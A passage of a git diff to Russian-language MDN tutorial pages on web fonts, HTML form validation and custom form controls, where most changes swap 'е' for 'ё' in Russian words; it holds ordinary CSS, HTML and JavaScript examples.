шрифтов и т. д.</span></span></p> +<p>Эта система работает хорошо, но традиционно выбор шрифтов веб-разработчиков была ограниченной. Существует только горсть шрифтов которые вы можете гарантировать, что они являются доступными во всех распространённых системах — так называемые <a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">Безопасные веб-шрифты</a>. <span class="tlid-translation translation" lang="ru"><span title="">Вы можете использовать стек шрифта для указания предпочтительных шрифтов</span></span>, за которыми следует веб-безопасные альтернативы, за которыми следует системный шрифт по умолчанию, <span class="tlid-translation translation" lang="ru"><span title="">но это добавляет дополнительной работы с точки зрения тестирования, чтобы убедиться, что ваш дизайн выглядит хорошо с каждым из шрифтов и т. д.</span></span></p> <h2 id="Веб-шрифты">Веб-шрифты</h2> -<p>Но есть альтернатива, которая работает очень хорошо начиная с 6-ой версии IE. Веб-шрифты — это функция CSS позволяющая вам указывать файлы шрифтов, загружаемые вместе с вашим веб-сайтом по мере доступа к нему, <span class="tlid-translation translation" lang="ru"><span title="">это означает, что любой браузер, поддерживающий веб-шрифты, может иметь в своем распоряжении именно те шрифты, которые вы укажете.</span></span> Замечательно! Требуемый синтаксис выглядит примерно так:</p> +<p>Но есть альтернатива, которая работает очень хорошо начиная с 6-ой версии IE. Веб-шрифты — это функция CSS позволяющая вам указывать файлы шрифтов, загружаемые вместе с вашим веб-сайтом по мере доступа к нему, <span class="tlid-translation translation" lang="ru"><span title="">это означает, что любой браузер, поддерживающий веб-шрифты, может иметь в своём распоряжении именно те шрифты, которые вы укажете.</span></span> Замечательно! Требуемый синтаксис выглядит примерно так:</p> <p>Во-первых, у вас есть блок {{cssxref("@font-face")}} в начале CSS, который указывает файл(-ы) шрифтов для загрузки:</p> @@ -69,7 +69,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <p>Имея это в виду, давайте создадим базовый пример веб-шрифта из первых принципов. <span class="tlid-translation translation" lang="ru"><span title="">Сложно продемонстрировать это на встроенном живом примере</span></span>, поэтому вместо, мы бы хотели, чтобы следовали детальным шагам в секциях ниже, чтобы понять идею процесса</p> -<p>Вы должны использовать файлы <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> и <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> как отправную точку добавляя в них ваш код (см. <a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">живой пример</a>). Сейчас сделайте копию этих файлов в новой директории на вашем компьютере. В файле <code>web-font-start.css</code> вы найдете некоторый минимальный CSS для работы с базовым макетом и версткой примера.</p> +<p>Вы должны использовать файлы <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.html">web-font-start.html</a> и <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/web-fonts/web-font-start.css">web-font-start.css</a> как отправную точку добавляя в них ваш код (см. <a href="http://mdn.github.io/learning-area/css/styling-text/web-fonts/web-font-start.html">живой пример</a>). Сейчас сделайте копию этих файлов в новой директории на вашем компьютере. В файле <code>web-font-start.css</code> вы найдёте некоторый минимальный CSS для работы с базовым макетом и вёрсткой примера.</p> <h3 id="Поиск_шрифтов">Поиск шрифтов</h3> @@ -81,7 +81,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <li>Сервис онлайн шрифтов: это сайт, который предоставляет вам шрифты, делая весь процесс проще. Смотрите раздел {{anch("Использование онлайн-сервиса шрифтов")}} для более подробной информации.</li> </ul> -<p>Давайте найдем какие-нибудь шрифты! Отправляйтесь на <a href="https://www.fontsquirrel.com/">Font Squirrel</a> и выберите два шрифта — симпатичный интересный шрифт для заголовков (может быть симпатично выглядящий или шрифт с засечками) и немного менее кричащий и более читабельный шрифт для параграфов. Когда вы найдете каждый шрифт, нажмите на кнопку загрузки и сохраните файлы в той же директории, где ранее вы сохранили файлы HTML и CSS. Не имеет значения являются ли они TTF (True Type Fonts) или OTF (Open Type Fonts).</p> +<p>Давайте найдём какие-нибудь шрифты! Отправляйтесь на <a href="https://www.fontsquirrel.com/">Font Squirrel</a> и выберите два шрифта — симпатичный интересный шрифт для заголовков (может быть симпатично выглядящий или шрифт с засечками) и немного менее кричащий и более читабельный шрифт для параграфов. Когда вы найдёте каждый шрифт, нажмите на кнопку загрузки и сохраните файлы в той же директории, где ранее вы сохранили файлы HTML и CSS. Не имеет значения являются ли они TTF (True Type Fonts) или OTF (Open Type Fonts).</p> <p>В любом случае распакуйте архив со шрифтом (веб-шрифты обычно распространяются в ZIP файлах, содержащих файл(-ы) шрифта и лицензионную информацию). Вы можете обнаружить несколько файлов шрифтов в упаковке (архиве) — некоторые шрифты распространяются как семейство с различными доступными вариантами, например тонкий, средний, жирный, курсив, тонкий курсив и т.д. <span class="tlid-translation translation" lang="ru"><span title="">В этом примере мы просто хотим, чтобы вы позаботились о едином файле шрифта для каждого варианта.</span></span></p> @@ -116,7 +116,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <p>Для внедрения их в ваше демо следуйте следующим шагам:</p> <ol> - <li>Переименуйте распакованную папку на что-нибудь легкое и простое, например <code>fonts</code>.</li> + <li>Переименуйте распакованную папку на что-нибудь лёгкое и простое, например <code>fonts</code>.</li> <li>Откройте файл <code>stylesheet.css</code> и скопируйте содержимое обоих <code>@font-face</code> блоков в ваш файл <code>web-font-start.css</code> — вам надо вставить их в самый верх, до любого вашего CSS, так как шрифты должны быть импортированы до того, как вы сможете использовать их на вашем сайте.</li> <li>Каждый из функций <code>url()</code> указывает на файл шрифта который мы хотим импортировать в наш CSS — мы должны убедиться в том, что пути к файлам верные, поэтому добавьте <code>fonts/</code> в начало каждого пути (настройте так как необходимо).</li> <li>Теперь вы можете использовать эти шрифты в ваших стеках шрифтов, как и любой веб-безопасный или по умолчанию системный шрифт. Например:</li> @@ -143,7 +143,7 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты <li>Используйте фильтры с правой стороны чтобы отобразить типы шрифтов, которые вы хотите выбрать и выберите пару шрифтов, которые вам понравятся.</li> <li>Для выбора семейства шрифтов нажмите на кнопку ⊕ рядом с ним.</li> <li>Когда вы выбрали семейства шрифтов, нажмите на панель <em>[Number] Families Selected</em> в низу страницы.</li> - <li>На полученном экране, сначала вам надо скопировать строку показанного HTML кода и вставить ее в head вашего HTML файла. Вставьте его выше существующего {{htmlelement("link")}} элемента для того, чтоб шрифт импортировался до того, как вы начнете пользоваться им в вашем CSS.</li> + <li>На полученном экране, сначала вам надо скопировать строку показанного HTML кода и вставить её в head вашего HTML файла. Вставьте его выше существующего {{htmlelement("link")}} элемента для того, чтоб шрифт импортировался до того, как вы начнёте пользоваться им в вашем CSS.</li> <li>Далее вам надо скопировать CSS-объявления<span class="tlid-translation translation" lang="ru"><span title="">, перечисленные в вашем CSS, чтобы применить пользовательские шрифты к вашему HTML.</span></span></li> </ol> @@ -167,16 +167,16 @@ original_slug: Learn/CSS/Styling_text/Веб_шрифты font-style: normal; }</pre> -<p>Это называется "пуленепробиваемым @font-face синтаксисом", после публикации Пола Айриша (Paul Irish), с самого начала, когда <code>@font-face</code> начал получать популярность (<a href="https://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>). Давайте пройдемся по нему, чтобы посмотреть, что он делает:</p> +<p>Это называется "пуленепробиваемым @font-face синтаксисом", после публикации Пола Айриша (Paul Irish), с самого начала, когда <code>@font-face</code> начал получать популярность (<a href="https://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>). Давайте пройдёмся по нему, чтобы посмотреть, что он делает:</p> <ul> <li><code>font-family</code>: В этой строке указывается имя, которое вы хотите использовать для обозначения шрифта. Вы можете указать его как угодно, если вы используете его последовательно в вашем CSS.</li> - <li><code>src</code>: В этой строке указывается путь к файлам шрифтов которые будут импортированы в ваш CSS (<code>url</code> путь) и формат каждого файла шрифта (<code>format</code> часть). Последняя часть в каждом случае опциональна, но полезно объявлять его, потому что это позволяет браузерам быстрее находить шрифт, который они могут использовать. Могут быть перечислены несколько объявлений, разделенных запятыми — браузер будет искать среди них и использовать первый который найдет и тот который он понимает — поэтому лучше всего ставить новые, лучшие форматы такие как WOFF2 в начало, а старые, не такие хорошие форматы как TTF в конец. Единственное исключение это EOT шрифты — они размещены первыми чтобы исправить пару багов в старых версиях IE который постарается использовать первую вещь, которую найдет, даже если он не умеет использовать этот шрифт.</li> + <li><code>src</code>: В этой строке указывается путь к файлам шрифтов которые будут импортированы в ваш CSS (<code>url</code> путь) и формат каждого файла шрифта (<code>format</code> часть). Последняя часть в каждом случае опциональна, но полезно объявлять его, потому что это позволяет браузерам быстрее находить шрифт, который они могут использовать. Могут быть перечислены несколько объявлений, разделённых запятыми — браузер будет искать среди них и использовать первый который найдёт и тот который он понимает — поэтому лучше всего ставить новые, лучшие форматы такие как WOFF2 в начало, а старые, не такие хорошие форматы как TTF в конец. Единственное исключение это EOT шрифты — они размещены первыми чтобы исправить пару багов в старых версиях IE который постарается использовать первую вещь, которую найдёт, даже если он не умеет использовать этот шрифт.</li> <li>{{cssxref("font-weight")}}/{{cssxref("font-style")}}: В этих строках указывается какую толщину имеет шрифт и является ли он курсивом или нет. Если вы импортируете несколько значений толщины одного и того же шрифта вы можете указать какая у них толщина/стиль и затем использовать разные значения {{cssxref("font-weight")}}/{{cssxref("font-style")}} для выбора между ними, <span class="tlid-translation translation" lang="ru"><span title="">вместо того, чтобы называть всех разных членов семейства шрифтов разными именами. </span></span><a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@font-face совет: установите font-weight и font-style так чтобы ваш CSS был простым</a> от Роджера Джонсона (Roger Johansson) покажет, что делать более детально.</li> </ul> <div class="note"> -<p><strong>Обратите внимание</strong>: Вы также можете указать определенные значения {{cssxref("font-variant")}} и {{cssxref("font-stretch")}} для ваших веб-шрифтов. В новых браузерах вы также можете указать значение {{cssxref("unicode-range")}}, <span class="tlid-translation translation" lang="ru"><span title="">который является конкретным диапазоном символов</span></span>, которые вы хотите использовать из веб-шрифта — в поддерживающих браузерах, будут загружены только указанные символы, сохраняя от ненужной загрузки. <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> от Drew McLellan предоставляет некоторые полезные идеи того как это использовать</p> +<p><strong>Обратите внимание</strong>: Вы также можете указать определённые значения {{cssxref("font-variant")}} и {{cssxref("font-stretch")}} для ваших веб-шрифтов. В новых браузерах вы также можете указать значение {{cssxref("unicode-range")}}, <span class="tlid-translation translation" lang="ru"><span title="">который является конкретным диапазоном символов</span></span>, которые вы хотите использовать из веб-шрифта — в поддерживающих браузерах, будут загружены только указанные символы, сохраняя от ненужной загрузки. <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> от Drew McLellan предоставляет некоторые полезные идеи того как это использовать</p> </div> <h2 id="Переменные_шрифты">Переменные шрифты</h2> diff --git a/files/ru/learn/forms/form_validation/index.html b/files/ru/learn/forms/form_validation/index.html index fcb841f313..4668beaac3 100644 --- a/files/ru/learn/forms/form_validation/index.html +++ b/files/ru/learn/forms/form_validation/index.html @@ -53,41 +53,41 @@ original_slug: Learn/HTML/Forms/Валидация_формы <ul> <li>"Это поле обязательно для заполнения" (вы не можете оставить это поле пустым)</li> - <li>"Пожалуйста введите ваш телефонный номер в формате xxx-xxxx" (вводит три цифры разделенные тире, за ними слеуют четыре цифры)</li> + <li>"Пожалуйста введите ваш телефонный номер в формате xxx-xxxx" (вводит три цифры разделённые тире, за ними слеуют четыре цифры)</li> <li>"Пожалуйста введите настоящий адрес электронной почты" (если ваша запись не в формате"somebody@example.com")</li> <li>"Ваш пароль должен быть от 8 до 30 символов длиной, и содержать одну заглавную букву, один символ, и число"</li> </ul> -<p>Это называется валидация формы — когда вы вводите данные, веб-прилолжение проверяет, что данные корректны. Если данные верны, приложение позволяет данным быть отправленными на сервер и (как правило) быть сохраненными в базе данных; если нет - оно выдает вам сообщение об ошибке, обьясняющее какие исправления необходимо внести. Проверка формы может быть реализована несколькими различными способами.</p> +<p>Это называется валидация формы — когда вы вводите данные, веб-прилолжение проверяет, что данные корректны. Если данные верны, приложение позволяет данным быть отправленными на сервер и (как правило) быть сохранёнными в базе данных; если нет - оно выдаёт вам сообщение об ошибке, обьясняющее какие исправления необходимо внести. Проверка формы может быть реализована несколькими различными способами.</p> <p>Мы хотим сделать заполнение веб-форм максимально простым. Итак, почему мы настаиваем на подтверждении наших форм? Существуют три основные причины:</p> <ul> <li><strong>Мы хотим получить нужные данные в нужном формате</strong> — наши приложения не будут работать должным образом, если данные нашего пользователя хранятся в неправильном формате, если они вводят неправильную информацию или вообще не передают информацию.</li> - <li><strong>Мы хотим защитить учетные записи наших пользователей</strong> — заставляя наших пользователей вводить защищенные пароли, это упрощает защиту информации об их учетной записи.</li> - <li><strong>Мы хотим обезопасить себя</strong> — существует множество способов, которыми злоумышленники могут злоупотреблять незащищенными формами, чтобы повредить приложение, в которое они входят (см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a>).</li> + <li><strong>Мы хотим защитить учётные записи наших пользователей</strong> — заставляя наших пользователей вводить защищённые пароли, это упрощает защиту информации об их учётной записи.</li> + <li><strong>Мы хотим обезопасить себя</strong> — существует множество способов, которыми злоумышленники могут злоупотреблять незащищёнными формами, чтобы повредить приложение, в которое они входят (см. <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a>).</li> </ul> <h3 id="Различные_типы_валидации_формы">Различные типы валидации формы</h3> -<p>Существует два разных типа проверки формы, с которыми вы столкнетесь в Интернете:</p> +<p>Существует два разных типа проверки формы, с которыми вы столкнётесь в Интернете:</p> <ul> - <li><strong>Проверка на стороне клиента - </strong>это проверка, которая происходит в браузере, прежде чем данные будут отправлены на сервер. Это удобнее, чем проверка на стороне сервера, так как дает мгновенный ответ. Ее можно далее подразделить на: + <li><strong>Проверка на стороне клиента - </strong>это проверка, которая происходит в браузере, прежде чем данные будут отправлены на сервер. Это удобнее, чем проверка на стороне сервера, так как даёт мгновенный ответ. Её можно далее подразделить на: <ul> <li><strong>JavaScript</strong> проверка выполняется с использованием JavaScript. Полностью настраиваемая.</li> <li><strong>Встроенная проверка формы, </strong>используя функции проверки формы HTML5. Для этого обычно не требуется JavaScript. Встроенная проверка формы имеет лучшую производительность, но она не такая настраиваемая, как с использованием JavaScript.</li> </ul> </li> - <li><strong>Проверка на стороне сервера</strong> - это проверка, которая возникает на сервере после отправки данных. Серверный код используется для проверки данных перед их сохранением в базе данных. Если данные не проходят проверку валидности, ответ отправляется обратно клиенту, чтобы сообщить пользователю, какие исправления должны быть сделаны. Проверка на стороне сервера не такая удобная, как проверка на стороне клиента, поскольку она не выдает ошибок до тех пор, пока не будет отправлена вся форма. Тем не менее, проверка на стороне сервера - это последняя линия защиты вашего приложения от неправильных или даже вредоносных данных. Все популярные <a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">серверные фреймворки</a> имеют функции для проверки и очистки данных (что делает их безопасными).</li> + <li><strong>Проверка на стороне сервера</strong> - это проверка, которая возникает на сервере после отправки данных. Серверный код используется для проверки данных перед их сохранением в базе данных. Если данные не проходят проверку валидности, ответ отправляется обратно клиенту, чтобы сообщить пользователю, какие исправления должны быть сделаны. Проверка на стороне сервера не такая удобная, как проверка на стороне клиента, поскольку она не выдаёт ошибок до тех пор, пока не будет отправлена вся форма. Тем не менее, проверка на стороне сервера - это последняя линия защиты вашего приложения от неправильных или даже вредоносных данных. Все популярные <a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">серверные фреймворки</a> имеют функции для проверки и очистки данных (что делает их безопасными).</li> </ul> <p>В реальном мире разработчики склонны использовать комбинацию проверки на стороне клиента и сервера.</p> <h2 id="Использование_встроенной_проверки_формы">Использование встроенной проверки формы</h2> -<p>Одной из особенностей HTML5 является возможность проверки большинства пользовательских данных без использования скриптов. Это делается с помощью <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5/Constraint_validation">атрибутов проверки элементов формы</a>, которые позволяют вам указывать правила ввода формы, например, нужно ли заполнять значение, минимальная и максимальная длина данных, должно ли это быть число, адрес электронной почты, адрес или что-то еще, и шаблон, которому это должно соответствовать. Если введенные данные соответствуют всем этим правилам, данные считаются валидными; если нет - невалидными.</p> +<p>Одной из особенностей HTML5 является возможность проверки большинства пользовательских данных без использования скриптов. Это делается с помощью <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5/Constraint_validation">атрибутов проверки элементов формы</a>, которые позволяют вам указывать правила ввода формы, например, нужно ли заполнять значение, минимальная и максимальная длина данных, должно ли это быть число, адрес электронной почты, адрес или что-то ещё, и шаблон, которому это должно соответствовать. Если введённые данные соответствуют всем этим правилам, данные считаются валидными; если нет - невалидными.</p> <p>Когда элемент валидный, следующие утверждения верны:</p> @@ -113,7 +113,7 @@ original_slug: Learn/HTML/Forms/Валидация_формы <p>В этом разделе мы рассмотрим некоторые функции HTML5, которые можно использовать для проверки {{HTMLElement("input")}} элементов.</p> -<p>Начнем с простого примера - input, который позволяет вам выбирать ваш любимый плод между бананом и вишней. Он включает простой текст {{HTMLElement("input")}} соответствующий ярлык (label) и отправку (submit) {{htmlelement("button")}}. Вы можете найти исходный код на GitHub <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>,и живой пример ниже:</p> +<p>Начнём с простого примера - input, который позволяет вам выбирать ваш любимый плод между бананом и вишней. Он включает простой текст {{HTMLElement("input")}} соответствующий ярлык (label) и отправку (submit) {{htmlelement("button")}}. Вы можете найти исходный код на GitHub <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>,и живой пример ниже:</p> <pre class="notranslate"><form> <label for="choose">Would you prefer a banana or cherry?</label> @@ -132,7 +132,7 @@ input:valid { <p>{{EmbedLiveSample("Simple_start_file", "100%", 80)}}</p> -<p>Для начала сделаем копию <code>fruit-start.html</code>в новом каталоге на жестком диске.</p> +<p>Для начала сделаем копию <code>fruit-start.html</code>в новом каталоге на жёстком диске.</p> <h3 id="Требуемый_атрибут_required">Требуемый атрибут (required)</h3> @@ -146,7 +146,7 @@ input:valid { <button>Submit</button> </form></pre> -<p>Также обратите внимание на CSS, включенный в файл примера:</p> +<p>Также обратите внимание на CSS, включённый в файл примера:</p> <pre class="notranslate">input:invalid { border: 2px dashed red; @@ -160,7 +160,7 @@ input:valid { border: 2px solid black; }</pre> -<p>В этом случае к input будет применяться ярко-красный пунктирный border, когда он невалидный, и более тонкая черная граница, когда он валидный. Попробуйте новое поведение в приведенном ниже примере:</p> +<p>В этом случае к input будет применяться ярко-красный пунктирный border, когда он невалидный, и более тонкая чёрная граница, когда он валидный. Попробуйте новое поведение в приведённом ниже примере:</p> <p>{{EmbedLiveSample("The_required_attribute", "100%", 80)}}</p> @@ -202,7 +202,7 @@ input:valid { <ul> <li><code>[Ll].*k</code> — Один символ L, в верхнем или нижнем регистре, за ним следует ни одного или несколько символов любого типа за которыми следует <code>k</code> в нижнем регистре.</li> <li><code>[A-Z][A-Za-z' -]+</code> — Один символ верхнего регистра, за которым следует один или несколько символов, которые представляют собой букву верхнего или нижнего регистра, тире, апостроф или пробел. Это можно использовать для проверки названия городов / городов англоязычных стран, которые должны начинаться с заглавной буквы, но не содержать других символов. Примеры из UK включая Manchester, Ashton-under-lyne, и Bishop's Stortford.</li> - <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> — Внутренний телефонный номер США — три цифры, затем пробел или тире, затем три цифры,затем пробел или тире, затем четыре цифры. Возможно, вам придется сделать это более сложным, поскольку некоторые люди пишут свой код области в круглых скобках, но это работает для простой демонстрации.</li> + <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> — Внутренний телефонный номер США — три цифры, затем пробел или тире, затем три цифры,затем пробел или тире, затем четыре цифры. Возможно, вам придётся сделать это более сложным, поскольку некоторые люди пишут свой код области в круглых скобках, но это работает для простой демонстрации.</li> </ul> <p>В любом случае, давайте реализуем пример - обновим ваш HTML, чтобы добавить атрибут шаблона, например:</p> @@ -230,7 +230,7 @@ input:valid { <p>На этом этапе попробуйте изменить значение внутри атрибута <code>pattern</code> чтобы сопоставить некоторые из примеров, которые вы видели ранее, и посмотрите, как это влияет на значения, которые вы можете ввести, чтобы сделать входное значение валидным. Попробуйте написать свои собственные, и посмотрите, как это работает! Попробуйте сделать их связанными с фруктами, где это возможно, поэтому ваши примеры имеют смысл!</p> <div class="note"> -<p><strong>Примечание:</strong> Некоторые {{HTMLElement("input")}} типы элементов не нуждаются в атрибуте {{htmlattrxref("pattern","input")}} чтобы быть валидными. Указание типа <code>email</code> например, проверяет введенное значение через регулярное выражение, соответствующее хорошо сформированному адресу электронной почты (или списку email адресов, разделенных запятыми, если в нем присутствует атрибут {{htmlattrxref("multiple","input")}} attribute). В качестве еще одного примера, поле с типом <code>url</code> автоматически требует правильно сформированного URL.</p> +<p><strong>Примечание:</strong> Некоторые {{HTMLElement("input")}} типы элементов не нуждаются в атрибуте {{htmlattrxref("pattern","input")}} чтобы быть валидными. Указание типа <code>email</code> например, проверяет введённое значение через регулярное выражение, соответствующее хорошо сформированному адресу электронной почты (или списку email адресов, разделённых запятыми, если в нем присутствует атрибут {{htmlattrxref("multiple","input")}} attribute). В качестве ещё одного примера, поле с типом <code>url</code> автоматически требует правильно сформированного URL.</p> </div> <div class="note"> @@ -263,7 +263,7 @@ input:valid { <ul> <li>Здесь вы увидите, что мы задали полю <code>text</code> <code>minlength</code> <code>maxlength</code> равную 6 — такая же длина, как banana и cherry. Ввод меньшего количества символов будет отображаться как невалидный, а вводить больше в большинстве браузеров невозможно.</li> - <li>Мы также дали полю <code>number</code> <code>min</code> 1 и <code>max</code> 10 - числа введенные вне этого диапазона будут отображаться как невалидные, и вы не сможете использовать стрелки приращения / уменьшения, чтобы переместить значение за пределами этого диапазона.</li> + <li>Мы также дали полю <code>number</code> <code>min</code> 1 и <code>max</code> 10 - числа введённые вне этого диапазона будут отображаться как невалидные, и вы не сможете использовать стрелки приращения / уменьшения, чтобы переместить значение за пределами этого диапазона.</li> </ul> <div class="hidden"> @@ -384,7 +384,7 @@ input:focus:invalid { <h3 id="Индивидуальные_сообщения_об_ошибках">Индивидуальные сообщения об ошибках</h3> -<p>Как видно из приведенных выше примеров, каждый раз, когда пользователь пытается отправить невалидную форму, браузер отображает сообщение об ошибке. Способ отображения этого сообщения зависит от браузера.</p> +<p>Как видно из приведённых выше примеров, каждый раз, когда пользователь пытается отправить невалидную форму, браузер отображает сообщение об ошибке. Способ отображения этого сообщения зависит от браузера.</p> <p>Эти автоматизированные сообщения имеют два недостатка:</p> @@ -447,7 +447,7 @@ email.addEventListener("input", function (event) { <h3 id="API_проверки_валидности_HTML5">API проверки валидности HTML5</h3> -<p>Все больше браузеров теперь поддерживают API проверки ограничений, и он становится надежным. Этот API состоит из набора методов и свойств, доступных для каждого элемента формы.</p> +<p>Все больше браузеров теперь поддерживают API проверки ограничений, и он становится надёжным. Этот API состоит из набора методов и свойств, доступных для каждого элемента формы.</p> <h4 id="Свойства_API_проверки_валидности">Свойства API проверки валидности</h4> @@ -571,7 +571,7 @@ email.addEventListener("input", function (event) { <h5 id="CSS">CSS</h5> -<p>Этот CSS задает стили нашей форме и выводу ошибки, чтобы сделать их визуально более привлекательными.</p> +<p>Этот CSS задаёт стили нашей форме и выводу ошибки, чтобы сделать их визуально более привлекательными.</p> <pre class="brush: css notranslate">/* Это просто, чтобы сделать пример более приятным */ body { @@ -659,7 +659,7 @@ form.addEventListener("submit", function (event) { // сообщение об ошибке. error.innerHTML = "I expect an e-mail, darling!"; error.className = "error active"; - // И мы предотвращаем отправку формы путем отмены события + // И мы предотвращаем отправку формы путём отмены события event.preventDefault(); } }, false);</pre> @@ -668,11 +668,11 @@ form.addEventListener("submit", function (event) { <p>{{EmbedLiveSample("Example_using_the_constraint_validation_API", "100%", 130)}}</p> -<p>API ограничений валидации дает вам мощный инструмент для проверки формы, позволяя вам получить контроль над пользовательским интерфейсом больше и лучше того, что вы можете делать только при помощи HTML и CSS.</p> +<p>API ограничений валидации даёт вам мощный инструмент для проверки формы, позволяя вам получить контроль над пользовательским интерфейсом больше и лучше того, что вы можете делать только при помощи HTML и CSS.</p> <h3 id="Проверка_форм_без_встроенного_API">Проверка форм без встроенного API</h3> -<p>Иногда, например, с устаревшими браузерами или <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">пользовательскими виджетами</a>, вы не сможете (или не захотите) использовать API проверки ограничений. В этом случае вы все еще можете использовать JavaScript для проверки вашей формы. Проверка формы - это скорее вопрос пользовательского интерфейса, чем проверка валидности данных.</p> +<p>Иногда, например, с устаревшими браузерами или <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">пользовательскими виджетами</a>, вы не сможете (или не захотите) использовать API проверки ограничений. В этом случае вы все ещё можете использовать JavaScript для проверки вашей формы. Проверка формы - это скорее вопрос пользовательского интерфейса, чем проверка валидности данных.</p> <p>Чтобы проверить форму, вы должны задать себе несколько вопросов:</p> @@ -774,13 +774,13 @@ input:focus.invalid { <h5 id="JavaScript_2">JavaScript</h5> -<p>Большие изменения в коде JavaScript, которые должны сделать намного больше тяжелой работы.</p> +<p>Большие изменения в коде JavaScript, которые должны сделать намного больше тяжёлой работы.</p> <pre class="brush: js notranslate">// Существует меньше способов выбрать узел DOM с устаревшими браузерами var form = document.getElementsByTagName('form')[0]; var email = document.getElementById('mail'); -// Ниже приведен трюк для достижения следующего узла Element Element в DOM +// Ниже приведён трюк для достижения следующего узла Element Element в DOM // Это опасно, потому что вы можете легко построить бесконечный цикл. // В современных браузерах вам следует использовать элемент element.nextElementSibling var error = email; @@ -867,9 +867,9 @@ addEvent(form, "submit", function () { </li> </ul> -<h4 id="Удаленная_проверка">Удаленная проверка</h4> +<h4 id="Удалённая_проверка">Удалённая проверка</h4> -<p>В некоторых случаях может быть полезно выполнить некоторую удаленную проверку. Такая проверка необходима, когда данные, введенные пользователем, привязаны к дополнительным данным, хранящимся на стороне сервера вашего приложения. Одним из вариантов использования является регистрационные формы, в которых вы запрашиваете имя пользователя. Чтобы избежать дублирования, разумнее выполнить AJAX запрос для проверки доступности имени пользователя, а не попросить пользователя отправить данные, а затем отправить форму с ошибкой.</p> +<p>В некоторых случаях может быть полезно выполнить некоторую удалённую проверку. Такая проверка необходима, когда данные, введённые пользователем, привязаны к дополнительным данным, хранящимся на стороне сервера вашего приложения. Одним из вариантов использования является регистрационные формы, в которых вы запрашиваете имя пользователя. Чтобы избежать дублирования, разумнее выполнить AJAX запрос для проверки доступности имени пользователя, а не попросить пользователя отправить данные, а затем отправить форму с ошибкой.</p> <p>Выполнение такой проверки требует принятия нескольких мер предосторожности:</p> diff --git a/files/ru/learn/forms/how_to_build_custom_form_controls/index.html b/files/ru/learn/forms/how_to_build_custom_form_controls/index.html index d3ac58ca0b..130f358cad 100644 --- a/files/ru/learn/forms/how_to_build_custom_form_controls/index.html +++ b/files/ru/learn/forms/how_to_build_custom_form_controls/index.html @@ -15,7 +15,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <p class="summary">Существует много случаев, когда возможностей <a href="/ru/docs/Learn/HTML/Forms/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D1%8B%D0%B5_%D0%B2%D0%B8%D0%B4%D0%B6%D0%B5%D1%82%D1%8B_%D1%84%D0%BE%D1%80%D0%BC">стандартных виджетов HTML форм</a> недостаточно. Если вы хотите <a href="/en-US/docs/Advanced_styling_for_HTML_forms">придать лучший вид</a> каким-либо виджетам как, например, {{HTMLElement("select")}}, или вы хотите создать особое поведение виджета, то у вас нет другого выбора, кроме как создать собственные виджеты.</p> -<p>В этой статье мы рассмотрим как создать такой виджет. Для этого мы возьмем пример: переделка элемента {{HTMLElement("select")}} .</p> +<p>В этой статье мы рассмотрим как создать такой виджет. Для этого мы возьмём пример: переделка элемента {{HTMLElement("select")}} .</p> <div class="note"> <p><strong>Замечание:</strong> Мы сфокусируемся на создании виджетов, а не на том чтобы сделать код универсальным и многоразовым; поэтому будут использоваться некоторый нетривиальный JavaScript код и манипуляции DOM в неизвестном контексте, что выходит за рамки этой статьи.</p> @@ -23,13 +23,13 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <h2 id="Дизайн_структура_и_семантика">Дизайн, структура и семантика</h2> -<p>В начале создания пользовательского виджета необходимо обрисовать что именно вы хотите. Это сэкономит драгоценное время. Особенно важно четко определить все состояния вашего виджета. Чтобы это сделать, лучше начать с существующего виджета, состояния и реакции которого хорошо известны, так что вы сможете просто подражать им насколько это возможно.</p> +<p>В начале создания пользовательского виджета необходимо обрисовать что именно вы хотите. Это сэкономит драгоценное время. Особенно важно чётко определить все состояния вашего виджета. Чтобы это сделать, лучше начать с существующего виджета, состояния и реакции которого хорошо известны, так что вы сможете просто подражать им насколько это возможно.</p> <p>В нашем примере мы будем переделывать элемент {{HTMLElement("select")}}. Вот такой результат мы хотим достичь:</p> <p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p> -<p>Этот скриншот показывает три основных состояния нашего виджета: нормальное состояние (слева); активное состояние (посередине) и развернутое состояние (справа).</p> +<p>Этот скриншот показывает три основных состояния нашего виджета: нормальное состояние (слева); активное состояние (посередине) и развёрнутое состояние (справа).</p> <p>С точки зрения реакций нужно чтобы наш 